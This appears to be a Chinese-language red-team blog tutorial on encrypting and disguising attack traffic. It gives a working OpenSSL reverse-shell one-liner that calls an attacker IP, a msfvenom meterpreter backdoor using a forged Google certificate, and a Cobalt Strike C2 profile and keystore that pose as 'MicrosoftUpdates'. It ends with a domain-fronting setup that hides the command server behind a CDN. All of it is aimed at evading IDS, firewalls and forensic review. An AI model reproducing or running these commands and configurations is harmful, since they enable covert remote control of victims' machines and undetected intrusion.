流量加密
使用Openssl反弹加密shell
 红队进行渗透测试的后续渗透阶段为了进行横向渗透,往往需要反弹shell,但是如果反弹shell都是明文传输,如果内网有IDS或者防护软件会进行流量分析,很快被发现,如果蓝队对攻击流量回溯分析,就可以复现攻击的过程。此时红队的攻击就会暴露出来,整个项目都要停止。
 使用Wireshark抓包直接看到输入的命令和返回的信息,这些危险命令会被防火墙或者IPS检测。所以要对这些信息进行混淆或加密。
	在计算机网络上,OpenSSL是一个开放源代码的软件库包,应用程序可以使用这个包进行安全通信,避免窃听,同事确认另一端连接者的身份。这个包广泛应用在互联网的网页服务器上。
- 在Kali上使用OpenSSL生成自签名证书
 
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
- 监听端口
 
openssl s_server -quiet -key key.pem -cert cert.pem -port 8080
- 在目标上执行反弹shell命令
 
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.35.71.246:8080 > /tmp/s; rm /tmp/s

MSF流量加密躲避检测
 为了防止主机被入侵,现在大部分的内网环境都装有流量审计工具,专门用来分析审查流量特征,分析网络流量,如后门特征,行为特征,像metasploit在内网做横向渗透时,这些流量很容易就能被检测出来,所以做好流量加密,就能避免审计工具检查出来。
- Openssl创建SSL/TLS证书
 
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt> www.google.com.pem && \
rm -rf www.google.com.key www.google.com.crt
- 生成后门
 
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=10.35.71.246 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat
- 设置监听器
 
 配置监听器时还需要使用两个附加选项,这是为了通知处理程序它将使用的证书(与有效载荷相同),并在接收到连接时执行SSL证书验证。
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_winhttps 
payload => windows/meterpreter/reverse_winhttps
msf6 exploit(multi/handler) > set LHOST 10.35.71.246
LHOST => 10.35.71.246
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > set HandlerSSLCert /root/www.google.com.pem
HandlerSSLCert => /root/www.google.com.pem
msf6 exploit(multi/handler) > set StagerVerifySSLCert true
StagerVerifySSLCert => true
当有效载荷在目标主机上执行时,一个加密的MSF会话将进行,它将不允许主机入侵系统检查数据包并断开连接

cobalt strike生成证书修改C2 profile流量加密混淆
 cobalt strike 是很多红队的首选的攻击神器,在APT方面近几年应用范围很广,很多著名的团队都曾使用这个工具进行APT,效果显著。导致很多ids入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,特别在高度安全的环境下,好不容易找到一个突破口,因为证书没修改,被流量检测出来并进行拦截,检测报告将返回给管理员,管理员就能马上将缺口进行修复。那么红队之前的攻击就会付诸东流,攻击计划就要重新指定。
 流量加密传输已经成为现在红队的基本素养,生成证书修改C2profile加密混淆实际上就是对流量加密传输,目的逃逸流量安全审计穿透检测器。
- 实验环境
 
Kali cobalt strike4.0
生成免费的SSL证书
 在运行cobalt strike默认使用的cobaltstrike.store证书,生成新证书的意义是将使用我们现在的制定好的证书。默认的证书cobalt strike会被检测。
keytoo工具介绍
Keytool是一个Java数据证书的管理工具,Keytool将密钥(key)和证书(certificates)存在一个称为keystore的文件中,即store后缀文件中。
| 项目 | 详细 | 
|---|---|
| alias名称 | kstore | 
| keypass | init123 | 
| 算法 | RSA | 
| 密钥长度 | 2048 | 
| 有效期限(天) | 30 | 
| 保存路径 | /tmp/kstore.keystore | 
| storepass | init234 | 
keytool -genkey -alias kstore -keyalg RSA -validity 36500 -keystore kstore.store
kstore kstore.store 两个字符串都要记住,因为修改profile要使用
填写相关的地区信息,这些信息填写后在profile上还要使用,勿乱填写,填写了要保存
完成上面得命令后提示你要输入密码
输入密码后提示地区信息,按照提示一步一步填写
组织名称:MicrosoftUpdates(尽量像大型企业)

创建并修改C2-profile文件
set sample_name "kiss POS Malware";
 
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter    "10";    # throw in a 10% jitter
 
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
 
#设置证书,注意以下内容得和你之前生成的证书一样
https-certificate {
    set CN       "US"; 
    set O        "MicrosoftUpdates";   
    set C        "en";
    set L        "US";
    set OU       "MicrosoftUpdates";  
    set ST       "US";
    set validity "365";
}
#设置,修改成你的证书名称和证书密码
code-signer{
    set keystore "kiss.store";
    set password "123123";
    set alias "kiss";
}
 
#指定DNS beacon不用的时候指定到IP地址
set dns_idle "8.8.4.4";
 
#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";
 
#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns    "235";
 
http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
 
    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urltrytryd";
 
        id {
            netbios;
            parameter "id";
        }
 
        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }
 
    server {
        output {
            print;
        }
    }
}
 
http-get {
    set uri "/updates";
 
    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }
 
    server {
        header "Content-Type" "text/plain";
 
        output {
            base64;
            print;
        }
    }
}
主要设置
https-certificate {
set CN "US";
set O "MicrosoftUpdates";
set C "en";
set L "US";
set OU "MicrosoftUpdates";
set ST "US";
set validity "365";
}
#设置
code-signer{
set keystore "kiss.store";
set password "123123";
set alias "kiss";
}
c2link检测c2 profile文件是否可用
./c2link kiss.profile
没有报错就基本成功了

使用证书运行teamserver文件
nohup ./teamserver 1.1.1.1 123456 ./c2link kiss.profile &  #nohup就是把程序挂在后台运行
建议编辑teamserver文件,在最后把启动的端口修改一下,尽量别使用默认端口启动。

域前置cobalt strike逃避IDS审计
 域前置(Domain Fronting)基于HTTPS通用规避技术,也被称为域前端网络攻击技术。这是一种用来隐藏Metasploit,Cobalt Strike等团队控制服务器流量,以此来一定程度绕过检查器或防火墙检测得技术,如Amazon,Google,Akamai等大型厂商会提供一些域前端技术服务。
原理
 通过CDN节点将流量转发到真实的C2服务器,其中CDN节点ip通过识别请求的Host头进行流量转发,利用我们配置域名的高可信度,如我们可以设置一个微软的子域名,可以有效的躲避DLP,agent等流量监测。


工作原理
 域前置的核心是CDN,而CDN的工作原理是:
同一个IP可以被不同的域名进行绑定然后进行网站加速,例如现在有两个网站,分别为:www.a.com和www.b.com 都指定同一个IP:123.123.123.123 这个IP实际是CDN服务器。当浏览器访问www.a.com和www.b.com的时候怎么保证访问的目标是正常的指定的网站内容呢,这个时候就要在HTTP请求包里再host头加入访问的域名。
例:
36.99.196.218 是一个CDN服务器,这个服务器上转发了多个域名

www.szzsivf.com和www.sundxs.com都是这个cdn服务器上的域名,而且这两个域名都绑定了别名进行cdn加速,可以发现他们使用的都是同样的一批CDN服务器


对 www.szzsivf.com 进行请求,返回的状态码为301

对www.sundxs.com进行请求,返回的状态码同样也是301

对它们的CDN服务器进行请求,并且分别设置Host头


可以发现,返回的结果和我们直接请求域名时返回的结果是一样的,虽然我们请求的是CDN主机但是依然返回了 设置Host头域名的内容.
由此可见,即使直接请求 CDN,只要 Host 头中带有想要访问的域名,CDN 就能知道你想和哪个域名通信,进而就能让你和指定的域名互相传送内容。
依然成功访问到了www.szzsivf.com 这个域名下,而非表面上访问的 www.sundxs.com。

域前置基础就是基于这个原理,所以我们可以申请一批高信誉的域如接近microsoft、baidu.com、google.com、amazon.cn 类似这类域名,然后在请求头里加上这种高信誉域名,另外因为是CDN服务器,因为CDN服务器会隐藏IP,所以C2服务器的真实IP也会被隐藏
域前置实践
- 环境
 
cobalt strike4.0、一台VPS用于运行cobalt strike
在某云、某鹅、Amazon购买cdn云加速服务器
在国内使用cdn云加速都需要域名进行备案
我们先要申请一个域名(用来配合CDN隐藏C2服务器),然后再申请或购买一个CDN对我们所申请的域名进行加速,在这个过程中CDN会要求我们在域名的解析配置中设置相应的CNAME
申请CDN

新增源站信息,红色填涂处是C2服务器所在公网IP

申请完成状态

cobalt strike域前置配置
CDN 申请完成后,就可以开始编辑 Cobalt Strike 要用到的 C2 Profile 文件了,我们直接使用开源项目 Malleable-C2-Profiles 中的 amazon.profile,但需要把其中的 Host 头改成我们自己在 CDN 中绑定的域名,如图:
修改成自己的域名后,在服务器上启动 teamserver,加上配置文件的选项

- 
进行测试
然后我们打开 Cobalt Strike 的 web日志 视图,用 curl 执行以下操作
 

然后如果在 Cobalt Strike 的 web日志 中能看到对应请求信息,则说明配置成功:

目标上线
- 创建监听器
 
上面我们在profile中指定Host域名并启动是适用于 cs3.x版本的
但其实4.x版本的CS已经支持在新建监听器时直接指定http/https host header了,并且该字段的优先级要比在profile中指定的要高。
http/https Hosts 填入beacon通信的地址,直接填上域名绑定的CDN的任意一个IP或者域名即可
http/https Host(stager)是为了二次下载载荷用到的,与hosts的属性一致。
HTTP Port(c2) 与申请CDN时绑定端口保持一致
HTTP Host Header 则填写我们的加速域名

- 创建payload
 
主机地址填写c2服务器的IP

- 在目标主机上执行payload
 
可以发现接口是不同的CDN服务器的IP

- Wireshark抓包
 
可以发现,目标请求Host地址已经伪装成我们自己绑定的域名了,

另外,我们在目标主机使用 Wireshark 过滤与真实C2服务器的通信,可以发现没有任何与真实主机的通信,与目标进行通信的都是绑定的CDN的IP地址,至此,说明我们成功实现了 Domain Fronting 技术。

                    
                
                
            
        
浙公网安备 33010602011771号